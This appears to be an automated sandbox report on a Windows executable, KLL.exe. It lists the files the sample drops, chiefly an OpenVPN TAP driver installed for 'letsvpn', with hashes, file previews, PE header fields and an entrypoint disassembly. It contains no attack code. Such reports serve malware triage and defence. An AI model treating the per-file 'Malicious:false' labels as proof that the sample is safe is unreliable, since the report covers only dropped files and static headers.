                                                                                            MD5:B77EEAEAF5F8493189B89852F3A7A712
                                                                                            SHA1:C40CF51C2EADB070A570B969B0525DC3FB684339
                                                                                            SHA-256:B7C13F8519340257BA6AE3129AFCE961F137E394DDE3E4E41971B9F912355F5E
                                                                                            SHA-512:A09A1B60C9605969A30F99D3F6215D4BF923759B4057BA0A5375559234F17D47555A84268E340FFC9AD07E03D11F40DD1F3FB5DA108D11EB7F7933B7D87F2DE3
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......^$Y..E7W.E7W.E7W..W.E7W.=.W.E7W.E6W3E7W..3V.E7W..4V.E7W..2V.E7W..?V.E7W..7V.E7W...W.E7W..5V.E7WRich.E7W........................PE..L.....U.........."!......... ...............................................P......r.....@A........................`................0..................P?...@....... ..8...........................X ..@............................................text...t........................... ..`.data...............................@....idata..............................@..@_RDATA....... ......................@..@.rsrc........0......................@..@.reloc.......@......................@..B................................................................................................................................................................................................................................................................

                                                                                            C:\Windows\INF\oem4.inf

                                                                                            Download File
                                                                                            Process:C:\Windows\System32\drvinst.exe
                                                                                            File Type:Windows setup INFormation
                                                                                            Category:dropped
                                                                                            Size (bytes):7632
                                                                                            Entropy (8bit):5.063558190257152
                                                                                            Encrypted:false
                                                                                            SSDEEP:192:wr8tW9yCTi3x4vlQd22bjR+iAUC7bMP+io3DcNSj6jvKFkPs7EQTXvt1Ld4Z:LWlGNdkkzo3DcNSj6jvKFkPs7EQTXvtk
                                                                                            MD5:26009F092BA352C1A64322268B47E0E3
                                                                                            SHA1:E1B2220CD8DCAEF6F7411A527705BD90A5922099
                                                                                            SHA-256:150EF8EB07532146F833DC020C02238161043260B8A565C3CFCB2365BAD980D9
                                                                                            SHA-512:C18111982CA233A7FC5D1E893F9BD8A3ED739756A47651E0638DEBB0704066AF6B25942C7961CDEEDF953A206EB159FE50E0E10055C40B68EB0D22F6064BB363
                                                                                            Malicious:false
                                                                                            Preview:; ****************************************************************************..; * Copyright (C) 2002-2014 OpenVPN Technologies, Inc. *..; * This program is free software; you can redistribute it and/or modify *..; * it under the terms of the GNU General Public License version 2 *..; * as published by the Free Software Foundation. *..; ****************************************************************************....; SYNTAX CHECKER..; cd \WINDDK\3790\tools\chkinf..; chkinf c:\src\openvpn\tap-win32\i386\oemvista.inf..; OUTPUT -> file:///c:/WINDDK/3790/tools/chkinf/htm/c%23+src+openvpn+tap-win32+i386+__OemWin2k.htm....; INSTALL/REMOVE DRIVER..; tapinstall install OemVista.inf tapoas..; tapinstall update OemVista.inf tapoas..; tapinstall remove tapoas....;*********************************************************..; Note to Developers:..;..; If you are bundling the TAP-Windows driver with your app,..; you should try

                                                                                            C:\Windows\INF\setupapi.dev.log

                                                                                            Download File
                                                                                            Process:C:\Program Files (x86)\letsvpn\driver\tapinstall.exe
                                                                                            File Type:Generic INItialization configuration [BeginLog]
                                                                                            Category:dropped
                                                                                            Size (bytes):45365
                                                                                            Entropy (8bit):5.054338943151315
                                                                                            Encrypted:false
                                                                                            SSDEEP:384:OGdni80C/8g0atRf7yr14ujuNY9AZi3Z/oUtwr05hauuye5q+xqulYgiePyjK:Own95cdyYloiwQ+X5q+xTlFPym
                                                                                            MD5:48AFEA3F5D8656F47FBC15D3081CC072
                                                                                            SHA1:8AC1CED874E81546608D82455FEE34F800A76DC6
                                                                                            SHA-256:96C33C4D1583959B14033724AAC67304C10B4410516E81E62A4C2B00E0E4E32A
                                                                                            SHA-512:5C21DCDB20C928D23C37D7C22C77121449A666DCACC3FE9D1D0155782DCD5467D9B8439FF8C1EB069E2D80201045B543483AE4E88A59A116BA269FDE02CBC99A
                                                                                            Malicious:false
                                                                                            Preview:[Device Install Log].. OS Version = 10.0.19045.. Service Pack = 0.0.. Suite = 0x0100.. ProductType = 1.. Architecture = amd64....[BeginLog]....[Boot Session: 2023/10/03 09:57:02.288]....>>> [Setup Import Driver Package - C:\Windows\system32\spool\tools\Microsoft Print To PDF\prnms009.Inf]..>>> Section start 2023/10/03 09:57:37.904.. cmd: C:\Windows\System32\spoolsv.exe.. inf: Provider: Microsoft.. inf: Class GUID: {4D36E979-E325-11CE-BFC1-08002BE10318}.. inf: Driver Version: 06/21/2006,10.0.19041.1806.. inf: Catalog File: prnms009.cat.. ump: Import flags: 0x0000000D.. pol: {Driver package policy check} 09:57:37.920.. pol: {Driver package policy check - exit(0x00000000)} 09:57:37.920.. sto: {Stage Driver Package: C:\Windows\system32\spool\tools\Microsoft Print To PDF\prnms009.Inf} 09:57:37.920.. inf: {Query Configurability: C:\Windows\system32\spool\tools\Microsoft Print To PDF\prnms009.Inf} 09:57:37.920.. inf:

                                                                                            C:\Windows\Logs\NetSetup\service.0.etl

                                                                                            Download File
                                                                                            Process:C:\Windows\System32\svchost.exe
                                                                                            File Type:data
                                                                                            Category:dropped
                                                                                            Size (bytes):458752
                                                                                            Entropy (8bit):0.4720702521346159
                                                                                            Encrypted:false
                                                                                            SSDEEP:192:bLZm8DmT1xMS92sICkjd0x5AUko5HOLboAcKYzFlgbmbYv:bLvM7mjhRoZO/oAPRv
                                                                                            MD5:F4322623C2486E9D7F5D7F99D43260BD
                                                                                            SHA1:FFD45CD64776C7753C8FB55C8FE43903CBC6E18B
                                                                                            SHA-256:EF175334845AFE2442287C37CE87967DF34BFED70D860096207F18C7BF8B128E
                                                                                            SHA-512:8992A81A0DAE5FD45EAD6D261E28F5FB8FF60B677602F7A4A71974D623D18AFB4E8A5519176C8F7794E0B1216F3F5EF98FDAEF76ACD464BD47D3DE9094F43AFA
                                                                                            Malicious:false
                                                                                            Preview:....8...8.......................................P...!....................................?......................eJ......"..{....Zb..................................................@.t.z.r.e.s...d.l.l.,.-.2.6.2.......................................................@.t.z.r.e.s...d.l.l.,.-.2.6.1...........................................................@K5..............?..............N.e.t.C.f.g.T.r.a.c.e...C.:.\.W.i.n.d.o.w.s.\.L.o.g.s.\.N.e.t.S.e.t.u.p.\.s.e.r.v.i.c.e...0...e.t.l.........P.P..........?..................................................................8.B..?......19041.1.amd64fre.vb_release.191206-1406.....5.@..?.........gP.......U..l....NetSetupShim.pdb.b......7.@..?.......I.[.8+m.!N8$......NetSetupEngine.pdb......4.@..?.........>*.....Nr8..a....NetSetupApi.pdb.........4.@..?.........E_iC...F........NetSetupSvc.pdb.............................................................................................................................................................

                                                                                            C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

                                                                                            Download File
                                                                                            Process:C:\Windows\System32\svchost.exe
                                                                                            File Type:JSON data
                                                                                            Category:dropped
                                                                                            Size (bytes):55
                                                                                            Entropy (8bit):4.306461250274409
                                                                                            Encrypted:false
                                                                                            SSDEEP:3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
                                                                                            MD5:DCA83F08D448911A14C22EBCACC5AD57
                                                                                            SHA1:91270525521B7FE0D986DB19747F47D34B6318AD
                                                                                            SHA-256:2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
                                                                                            SHA-512:96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
                                                                                            Malicious:false
                                                                                            Preview:{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

                                                                                            C:\Windows\System32\DriverStore\Temp\{3e004a96-c4f8-974d-9318-ff1bf1d594fd}\SET54AA.tmp

                                                                                            Download File
                                                                                            Process:C:\Windows\System32\drvinst.exe
                                                                                            File Type:Windows setup INFormation
                                                                                            Category:dropped
                                                                                            Size (bytes):7632
                                                                                            Entropy (8bit):5.063558190257152
                                                                                            Encrypted:false
                                                                                            SSDEEP:192:wr8tW9yCTi3x4vlQd22bjR+iAUC7bMP+io3DcNSj6jvKFkPs7EQTXvt1Ld4Z:LWlGNdkkzo3DcNSj6jvKFkPs7EQTXvtk
                                                                                            MD5:26009F092BA352C1A64322268B47E0E3
                                                                                            SHA1:E1B2220CD8DCAEF6F7411A527705BD90A5922099
                                                                                            SHA-256:150EF8EB07532146F833DC020C02238161043260B8A565C3CFCB2365BAD980D9
                                                                                            SHA-512:C18111982CA233A7FC5D1E893F9BD8A3ED739756A47651E0638DEBB0704066AF6B25942C7961CDEEDF953A206EB159FE50E0E10055C40B68EB0D22F6064BB363
                                                                                            Malicious:false
                                                                                            Preview:; ****************************************************************************..; * Copyright (C) 2002-2014 OpenVPN Technologies, Inc. *..; * This program is free software; you can redistribute it and/or modify *..; * it under the terms of the GNU General Public License version 2 *..; * as published by the Free Software Foundation. *..; ****************************************************************************....; SYNTAX CHECKER..; cd \WINDDK\3790\tools\chkinf..; chkinf c:\src\openvpn\tap-win32\i386\oemvista.inf..; OUTPUT -> file:///c:/WINDDK/3790/tools/chkinf/htm/c%23+src+openvpn+tap-win32+i386+__OemWin2k.htm....; INSTALL/REMOVE DRIVER..; tapinstall install OemVista.inf tapoas..; tapinstall update OemVista.inf tapoas..; tapinstall remove tapoas....;*********************************************************..; Note to Developers:..;..; If you are bundling the TAP-Windows driver with your app,..; you should try

                                                                                            C:\Windows\System32\DriverStore\Temp\{3e004a96-c4f8-974d-9318-ff1bf1d594fd}\SET54BA.tmp

                                                                                            Download File
                                                                                            Process:C:\Windows\System32\drvinst.exe
                                                                                            File Type:data
                                                                                            Category:dropped
                                                                                            Size (bytes):10739
                                                                                            Entropy (8bit):7.214364446291792
                                                                                            Encrypted:false
                                                                                            SSDEEP:192:JDVLGVDFfap5UEwQl/WGhYCt17vJ4qnaj6jQc:7GCpzlnh3t1x4l2jn
                                                                                            MD5:F73AC62E8DF97FAF3FC8D83E7F71BF3F
                                                                                            SHA1:619A6E8F7A9803A4C71F73060649903606BEAF4E
                                                                                            SHA-256:CC74CDB88C198EB00AEF4CAA20BF1FDA9256917713A916E6B94435CD4DCB7F7B
                                                                                            SHA-512:F81F5757E0E449AD66A632299BCBE268ED02DF61333A304DCCAFB76B2AD26BAF1A09E7F837762EE4780AFB47D90A09BF07CB5B8B519C6FB231B54FA4FBE17FFE
                                                                                            Malicious:false
                                                                                            Preview:0.)...*.H........).0.)....1.0...`.H.e......0..i..+.....7.....Z0..V0...+.....7.......r?.X.M.....F.A..201008141946Z0...+.....7.....0..T0.... .....S!F.3....#.a.2`..e...#e...1..0...+.....7...1...04..+.....7...1&0$...O.S.A.t.t.r........2.:.1.0...0...0<..+.....7...1.0,...F.i.l.e........o.e.m.v.i.s.t.a...i.n.f...0U..+.....7...1G0E0...+.....7.......010...`.H.e....... .....S!F.3....#.a.2`..e...#e...0...."~..m..8C. i$.4.l..1..0...+.....7...1...04..+.....7...1&0$...O.S.A.t.t.r........2.:.1.0...0...0:..+.....7...1,0*...F.i.l.e........t.a.p.0.9.0.1...s.y.s...0.... ..j(.M<.cR..XrT....F..R.]....?1..0...+.....7...1...04..+.....7...1&0$...O.S.A.t.t.r........2.:.1.0...0...0:..+.....7...1,0*...F.i.l.e........t.a.p.0.9.0.1...s.y.s...0]..+.....7...1O0M0...+.....7...0...........010...`.H.e....... ..j(.M<.cR..XrT....F..R.]....?0.....".....A.Rw..... .1..0...+.....7...1...04..+.....7...1&0$...O.S.A.t.t.r........2.:.1.0...0...0<..+.....7...1.0,...F.i.l.e........o.e.m.v.i.s.t.a...i.n.f.......0...0....+.

                                                                                            C:\Windows\System32\DriverStore\Temp\{3e004a96-c4f8-974d-9318-ff1bf1d594fd}\SET54CB.tmp

                                                                                            Download File
                                                                                            Process:C:\Windows\System32\drvinst.exe
                                                                                            File Type:PE32+ executable (native) x86-64, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):39920
                                                                                            Entropy (8bit):6.338128217115975
                                                                                            Encrypted:false
                                                                                            SSDEEP:768:XtCuL1O/+AphG3F9NlXt5oZhDzbV104mmuiExsFwQvYp33U35:XdCoTxk1lmmjExsFNvYtk
                                                                                            MD5:C10CCDEC5D7AF458E726A51BB3CDC732
                                                                                            SHA1:0553AAB8C2106ABB4120353360D747B0A2B4C94F
                                                                                            SHA-256:589C5667B1602837205DA8EA8E92FE13F8C36048B293DF931C99B39641052253
                                                                                            SHA-512:7437C12AE5B31E389DE3053A55996E7A0D30689C6E0D10BDE28F1FBF55CEE42E65AA441B7B82448334E725C0899384DEE2645CE5C311F3A3CFC68E42AD046981
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........~..[...[...[....w..Z....w..^...[...m....w.._....w..^.../t..Q.../t..Z.../t..Z...Rich[...........................PE..d......_.........."......Z.....................@....................................=w....`A....................................................<.......X....p..T....x...#...........R..8............................S...............P...............................text..._>.......@.................. ..h.rdata.......P.......D..............@..H.data........`.......P..............@....pdata..T....p.......R..............@..HPAGE.................V.............. ..`INIT.................d.............. ..b.rsrc...X............p..............@..B.reloc...............v..............@..B................................................................................................................................................................................

                                                                                            C:\Windows\System32\DriverStore\Temp\{3e004a96-c4f8-974d-9318-ff1bf1d594fd}\oemvista.inf (copy)

                                                                                            Download File
                                                                                            Process:C:\Windows\System32\drvinst.exe
                                                                                            File Type:Windows setup INFormation
                                                                                            Category:dropped
                                                                                            Size (bytes):7632
                                                                                            Entropy (8bit):5.063558190257152
                                                                                            Encrypted:false
                                                                                            SSDEEP:192:wr8tW9yCTi3x4vlQd22bjR+iAUC7bMP+io3DcNSj6jvKFkPs7EQTXvt1Ld4Z:LWlGNdkkzo3DcNSj6jvKFkPs7EQTXvtk
                                                                                            MD5:26009F092BA352C1A64322268B47E0E3
                                                                                            SHA1:E1B2220CD8DCAEF6F7411A527705BD90A5922099
                                                                                            SHA-256:150EF8EB07532146F833DC020C02238161043260B8A565C3CFCB2365BAD980D9
                                                                                            SHA-512:C18111982CA233A7FC5D1E893F9BD8A3ED739756A47651E0638DEBB0704066AF6B25942C7961CDEEDF953A206EB159FE50E0E10055C40B68EB0D22F6064BB363
                                                                                            Malicious:false
                                                                                            Preview:; ****************************************************************************..; * Copyright (C) 2002-2014 OpenVPN Technologies, Inc. *..; * This program is free software; you can redistribute it and/or modify *..; * it under the terms of the GNU General Public License version 2 *..; * as published by the Free Software Foundation. *..; ****************************************************************************....; SYNTAX CHECKER..; cd \WINDDK\3790\tools\chkinf..; chkinf c:\src\openvpn\tap-win32\i386\oemvista.inf..; OUTPUT -> file:///c:/WINDDK/3790/tools/chkinf/htm/c%23+src+openvpn+tap-win32+i386+__OemWin2k.htm....; INSTALL/REMOVE DRIVER..; tapinstall install OemVista.inf tapoas..; tapinstall update OemVista.inf tapoas..; tapinstall remove tapoas....;*********************************************************..; Note to Developers:..;..; If you are bundling the TAP-Windows driver with your app,..; you should try

                                                                                            C:\Windows\System32\DriverStore\Temp\{3e004a96-c4f8-974d-9318-ff1bf1d594fd}\tap0901.cat (copy)

                                                                                            Download File
                                                                                            Process:C:\Windows\System32\drvinst.exe
                                                                                            File Type:data
                                                                                            Category:dropped
                                                                                            Size (bytes):10739
                                                                                            Entropy (8bit):7.214364446291792
                                                                                            Encrypted:false
                                                                                            SSDEEP:192:JDVLGVDFfap5UEwQl/WGhYCt17vJ4qnaj6jQc:7GCpzlnh3t1x4l2jn
                                                                                            MD5:F73AC62E8DF97FAF3FC8D83E7F71BF3F
                                                                                            SHA1:619A6E8F7A9803A4C71F73060649903606BEAF4E
                                                                                            SHA-256:CC74CDB88C198EB00AEF4CAA20BF1FDA9256917713A916E6B94435CD4DCB7F7B
                                                                                            SHA-512:F81F5757E0E449AD66A632299BCBE268ED02DF61333A304DCCAFB76B2AD26BAF1A09E7F837762EE4780AFB47D90A09BF07CB5B8B519C6FB231B54FA4FBE17FFE
                                                                                            Malicious:false
                                                                                            Preview:0.)...*.H........).0.)....1.0...`.H.e......0..i..+.....7.....Z0..V0...+.....7.......r?.X.M.....F.A..201008141946Z0...+.....7.....0..T0.... .....S!F.3....#.a.2`..e...#e...1..0...+.....7...1...04..+.....7...1&0$...O.S.A.t.t.r........2.:.1.0...0...0<..+.....7...1.0,...F.i.l.e........o.e.m.v.i.s.t.a...i.n.f...0U..+.....7...1G0E0...+.....7.......010...`.H.e....... .....S!F.3....#.a.2`..e...#e...0...."~..m..8C. i$.4.l..1..0...+.....7...1...04..+.....7...1&0$...O.S.A.t.t.r........2.:.1.0...0...0:..+.....7...1,0*...F.i.l.e........t.a.p.0.9.0.1...s.y.s...0.... ..j(.M<.cR..XrT....F..R.]....?1..0...+.....7...1...04..+.....7...1&0$...O.S.A.t.t.r........2.:.1.0...0...0:..+.....7...1,0*...F.i.l.e........t.a.p.0.9.0.1...s.y.s...0]..+.....7...1O0M0...+.....7...0...........010...`.H.e....... ..j(.M<.cR..XrT....F..R.]....?0.....".....A.Rw..... .1..0...+.....7...1...04..+.....7...1&0$...O.S.A.t.t.r........2.:.1.0...0...0<..+.....7...1.0,...F.i.l.e........o.e.m.v.i.s.t.a...i.n.f.......0...0....+.

                                                                                            C:\Windows\System32\DriverStore\Temp\{3e004a96-c4f8-974d-9318-ff1bf1d594fd}\tap0901.sys (copy)

                                                                                            Download File
                                                                                            Process:C:\Windows\System32\drvinst.exe
                                                                                            File Type:PE32+ executable (native) x86-64, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):39920
                                                                                            Entropy (8bit):6.338128217115975
                                                                                            Encrypted:false
                                                                                            SSDEEP:768:XtCuL1O/+AphG3F9NlXt5oZhDzbV104mmuiExsFwQvYp33U35:XdCoTxk1lmmjExsFNvYtk
                                                                                            MD5:C10CCDEC5D7AF458E726A51BB3CDC732
                                                                                            SHA1:0553AAB8C2106ABB4120353360D747B0A2B4C94F
                                                                                            SHA-256:589C5667B1602837205DA8EA8E92FE13F8C36048B293DF931C99B39641052253
                                                                                            SHA-512:7437C12AE5B31E389DE3053A55996E7A0D30689C6E0D10BDE28F1FBF55CEE42E65AA441B7B82448334E725C0899384DEE2645CE5C311F3A3CFC68E42AD046981
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........~..[...[...[....w..Z....w..^...[...m....w.._....w..^.../t..Q.../t..Z.../t..Z...Rich[...........................PE..d......_.........."......Z.....................@....................................=w....`A....................................................<.......X....p..T....x...#...........R..8............................S...............P...............................text..._>.......@.................. ..h.rdata.......P.......D..............@..H.data........`.......P..............@....pdata..T....p.......R..............@..HPAGE.................V.............. ..`INIT.................d.............. ..b.rsrc...X............p..............@..B.reloc...............v..............@..B................................................................................................................................................................................

                                                                                            C:\Windows\System32\catroot2\dberr.txt

                                                                                            Download File
                                                                                            Process:C:\Windows\System32\drvinst.exe
                                                                                            File Type:ASCII text, with CRLF line terminators
                                                                                            Category:modified
                                                                                            Size (bytes):4404
                                                                                            Entropy (8bit):5.389802762427782
                                                                                            Encrypted:false
                                                                                            SSDEEP:96:QO00eO00erMwUgWUg0B1kE3ZhpJp8ZpkRepk3hpTpbCpEpDk+psNVpsLg:QO00eO00erMwmkB1kAIrN4k
                                                                                            MD5:77FE0472AF2FD6F43231C417193A7832
                                                                                            SHA1:98712D1ADEA8B14FB7FC0A87FA6DE44CB3EA5395
                                                                                            SHA-256:4F24FAB147E072656A18D16B1B66FD678FE00C7662641A28AF454331CE58975E
                                                                                            SHA-512:F9541C08F398E8115C6758D9C961C06CCEA683CB9267EE14B94E6AE93409CE307992D176E6B7D6F150C789B5F3E1076ECAD58C741B3BFE2A46432BE21062A35B
                                                                                            Malicious:false
                                                                                            Preview:CatalogDB: 08:57:12 03/10/2023: catdbsvc.cpp at line #6041 encountered JET error -1409..CatalogDB: 08:57:12 03/10/2023: catdbsvc.cpp at line #6699 encountered JET error -1409..CatalogDB: 08:57:12 03/10/2023: catdbsvc.cpp at line #4398 encountered JET error -1409..CatalogDB: 08:57:12 03/10/2023: catdbsvc.cpp at line #6041 encountered JET error -1409..CatalogDB: 08:57:12 03/10/2023: catdbsvc.cpp at line #6699 encountered JET error -1409..CatalogDB: 08:57:12 03/10/2023: catdbsvc.cpp at line #4398 encountered JET error -1409..CatalogDB: 08:57:12 03/10/2023: catdbsvc.cpp at line #2083 encountered JET error -1409..CatalogDB: 08:57:12 03/10/2023: catdbsvc.cpp at line #2459 encountered JET error -1409..CatalogDB: 08:57:12 03/10/2023: SyncAllDBs Corruption or Schema Change..CatalogDB: 08:57:12 03/10/2023: catdbsvc.cpp at line #891 encountered JET error -1409..CatalogDB: 08:57:12 03/10/2023: catdbsvc.cpp at line #1307 encountered JET error -1601..CatalogDB: 08:57:12 03/10/2023: SyncDB:: Sync sta

                                                                                            C:\Windows\System32\drivers\SET5AF3.tmp

                                                                                            Download File
                                                                                            Process:C:\Windows\System32\drvinst.exe
                                                                                            File Type:PE32+ executable (native) x86-64, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):39920
                                                                                            Entropy (8bit):6.338128217115975
                                                                                            Encrypted:false
                                                                                            SSDEEP:768:XtCuL1O/+AphG3F9NlXt5oZhDzbV104mmuiExsFwQvYp33U35:XdCoTxk1lmmjExsFNvYtk
                                                                                            MD5:C10CCDEC5D7AF458E726A51BB3CDC732
                                                                                            SHA1:0553AAB8C2106ABB4120353360D747B0A2B4C94F
                                                                                            SHA-256:589C5667B1602837205DA8EA8E92FE13F8C36048B293DF931C99B39641052253
                                                                                            SHA-512:7437C12AE5B31E389DE3053A55996E7A0D30689C6E0D10BDE28F1FBF55CEE42E65AA441B7B82448334E725C0899384DEE2645CE5C311F3A3CFC68E42AD046981
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........~..[...[...[....w..Z....w..^...[...m....w.._....w..^.../t..Q.../t..Z.../t..Z...Rich[...........................PE..d......_.........."......Z.....................@....................................=w....`A....................................................<.......X....p..T....x...#...........R..8............................S...............P...............................text..._>.......@.................. ..h.rdata.......P.......D..............@..H.data........`.......P..............@....pdata..T....p.......R..............@..HPAGE.................V.............. ..`INIT.................d.............. ..b.rsrc...X............p..............@..B.reloc...............v..............@..B................................................................................................................................................................................

                                                                                            C:\Windows\System32\drivers\tap0901.sys (copy)

                                                                                            Download File
                                                                                            Process:C:\Windows\System32\drvinst.exe
                                                                                            File Type:PE32+ executable (native) x86-64, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):39920
                                                                                            Entropy (8bit):6.338128217115975
                                                                                            Encrypted:false
                                                                                            SSDEEP:768:XtCuL1O/+AphG3F9NlXt5oZhDzbV104mmuiExsFwQvYp33U35:XdCoTxk1lmmjExsFNvYtk
                                                                                            MD5:C10CCDEC5D7AF458E726A51BB3CDC732
                                                                                            SHA1:0553AAB8C2106ABB4120353360D747B0A2B4C94F
                                                                                            SHA-256:589C5667B1602837205DA8EA8E92FE13F8C36048B293DF931C99B39641052253
                                                                                            SHA-512:7437C12AE5B31E389DE3053A55996E7A0D30689C6E0D10BDE28F1FBF55CEE42E65AA441B7B82448334E725C0899384DEE2645CE5C311F3A3CFC68E42AD046981
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........~..[...[...[....w..Z....w..^...[...m....w.._....w..^.../t..Q.../t..Z.../t..Z...Rich[...........................PE..d......_.........."......Z.....................@....................................=w....`A....................................................<.......X....p..T....x...#...........R..8............................S...............P...............................text..._>.......@.................. ..h.rdata.......P.......D..............@..H.data........`.......P..............@....pdata..T....p.......R..............@..HPAGE.................V.............. ..`INIT.................d.............. ..b.rsrc...X............p..............@..B.reloc...............v..............@..B................................................................................................................................................................................

                                                                                            \Device\ConDrv

                                                                                            Download File
                                                                                            Process:C:\Windows\System32\netsh.exe
                                                                                            File Type:ASCII text, with CRLF line terminators
                                                                                            Category:dropped
                                                                                            Size (bytes):62
                                                                                            Entropy (8bit):4.621884069513846
                                                                                            Encrypted:false
                                                                                            SSDEEP:3:jBJFELuwVALZgmBcRICkRETlr:jBJolmKR84r
                                                                                            MD5:5BD9236FE5F5212389E57D7232DCD325
                                                                                            SHA1:DE7E2CE0978271E8A422B96C34F5029FEA904BF1
                                                                                            SHA-256:CEC624D10462315D58ADA95B1820DD23249DB4ACB1356DB02B4C4C6804323177
                                                                                            SHA-512:18D4A0A549F2D825EEB9566CA180F28330B6124EB1DEC2A5DD695EA1180242B993CA714676982E92340A0D1D1266B902519386E66D6B7D564C0EFC3E0E3364DC
                                                                                            Malicious:false
                                                                                            Preview:Windows cannot open the file named C:\ProgramData\eiM61.xml...

                                                                                            Static File Info

                                                                                            General

                                                                                            File type:PE32+ executable (GUI) x86-64, for MS Windows
                                                                                            Entropy (8bit):7.577752221579041
                                                                                            TrID:
                                                                                            • Win64 Executable GUI (202006/5) 92.65%
                                                                                            • Win64 Executable (generic) (12005/4) 5.51%
                                                                                            • Generic Win/DOS Executable (2004/3) 0.92%
                                                                                            • DOS Executable Generic (2002/1) 0.92%
                                                                                            • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
                                                                                            File name:KLL.exe
                                                                                            File size:31'853'056 bytes
                                                                                            MD5:ff9006e15bbe8f6c9a4ac2ddb14ac37e
                                                                                            SHA1:c9b380c608b6e8f9ce45c13a72ed15c21043661a
                                                                                            SHA256:2daa8d76a918b1d3d30b25130a741a4612f5ac5c2dba186225992e7783ea0458
                                                                                            SHA512:917a8072f2f6401368095a5d4bcd25bf116efef9b71bb6faaab5c01f1227cafa7ea633dd416a7072deb6841925afe0b5f61ef84c6459292e333f914f10c80290
                                                                                            SSDEEP:393216:rMtfAjXm9uHkZmyTtvkJJhddL1ugGFPO2bacIGxQRu8/aJHYjzZSOn3P7zZmHs5a:RmYSOOFJJ1AtROo1YsM6Hmad+o
                                                                                            TLSH:D767DF8B736541D1D1ABC17DC90A9A0FC7B2741447369BCF02A8CB992F236E21E7E752
                                                                                            File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........@............j.......j.......j...o...j.......j.................................................{.....................Rich...

                                                                                            File Icon

                                                                                            Icon Hash:13adccdae6642d93

                                                                                            Static PE Info

                                                                                            General

                                                                                            Entrypoint:0x140270764
                                                                                            Entrypoint Section:.text
                                                                                            Digitally signed:false
                                                                                            Imagebase:0x140000000
                                                                                            Subsystem:windows gui
                                                                                            Image File Characteristics:EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
                                                                                            DLL Characteristics:HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
                                                                                            Time Stamp:0x669A1F4B [Fri Jul 19 08:09:47 2024 UTC]
                                                                                            TLS Callbacks:
                                                                                            CLR (.Net) Version:
                                                                                            OS Version Major:6
                                                                                            OS Version Minor:0
                                                                                            File Version Major:6
                                                                                            File Version Minor:0
                                                                                            Subsystem Version Major:6
                                                                                            Subsystem Version Minor:0
                                                                                            Import Hash:bf2887a0b14c43df8718a41eec2a7fd6

                                                                                            Entrypoint Preview

                                                                                            Instruction
                                                                                            dec eax
                                                                                            sub esp, 28h
                                                                                            call 00007F67DD95F074h
                                                                                            dec eax
                                                                                            add esp, 28h
                                                                                            jmp 00007F67DD95E257h
                                                                                            int3
                                                                                            int3
                                                                                            retn 0000h
                                                                                            int3
                                                                                            dec eax
                                                                                            mov eax, dword ptr [ecx]
                                                                                            ret
                                                                                            dec eax
                                                                                            mov eax, dword ptr [ecx]
                                                                                            ret
                                                                                            dec eax
                                                                                            lea edx, dword ptr [00114175h]
                                                                                            dec eax
                                                                                            lea eax, dword ptr [0011416Eh]
                                                                                            dec eax
                                                                                            sub ecx, edx
                                                                                            dec eax
                                                                                            sub eax, edx
                                                                                            dec eax
                                                                                            cmp ecx, eax
                                                                                            jnbe 00007F67DD95E443h
                                                                                            int3
                                                                                            ret
                                                                                            int3
                                                                                            dec eax
                                                                                            lea edx, dword ptr [00114159h]
                                                                                            dec eax
                                                                                            lea eax, dword ptr [00114152h]
                                                                                            dec eax
                                                                                            sub ecx, edx
                                                                                            dec eax
                                                                                            sub eax, edx
                                                                                            dec eax
                                                                                            cmp ecx, eax
                                                                                            jnbe 00007F67DD95E449h
                                                                                            mov ecx, 00000041h
                                                                                            int 29h
                                                                                            ret
                                                                                            int3
                                                                                            int3
                                                                                            int3
                                                                                            retn 0000h
                                                                                            int3
                                                                                            dec eax
                                                                                            sub esp, 28h
                                                                                            dec esp
                                                                                            lea eax, dword ptr [0011412Dh]
                                                                                            dec eax
                                                                                            mov eax, ecx
                                                                                            dec eax
                                                                                            lea edx, dword ptr [00114123h]
                                                                                            dec ecx
                                                                                            sub eax, eax
                                                                                            dec ecx
                                                                                            sub edx, eax
                                                                                            dec eax
                                                                                            cmp eax, edx
                                                                                            jnbe 00007F67DD95E457h
                                                                                            dec eax
                                                                                            mov eax, dword ptr [0009B3E9h]
                                                                                            dec eax
                                                                                            test eax, eax
                                                                                            je 00007F67DD95E44Bh
                                                                                            dec eax
                                                                                            mov eax, dword ptr [0009B3DDh]
                                                                                            call eax
                                                                                            dec eax
                                                                                            add esp, 28h
                                                                                            ret
                                                                                            int3
                                                                                            int3
                                                                                            dec eax
                                                                                            sub esp, 28h
                                                                                            dec eax
                                                                                            mov eax, dword ptr [0009B3C9h]
                                                                                            dec eax
                                                                                            test eax, eax
                                                                                            je 00007F67DD95E44Bh
                                                                                            dec eax
                                                                                            mov eax, dword ptr [0009B3BDh]
                                                                                            call eax
                                                                                            dec eax
                                                                                            add esp, 28h
                                                                                            ret
                                                                                            int3
                                                                                            int3
                                                                                            dec eax
                                                                                            lea eax, dword ptr [001140D5h]

                                                                                            Data Directories

                                                                                            NameVirtual AddressVirtual Size Is in Section
                                                                                            IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                                                                            IMAGE_DIRECTORY_ENTRY_IMPORT0x3f45580x190.rdata
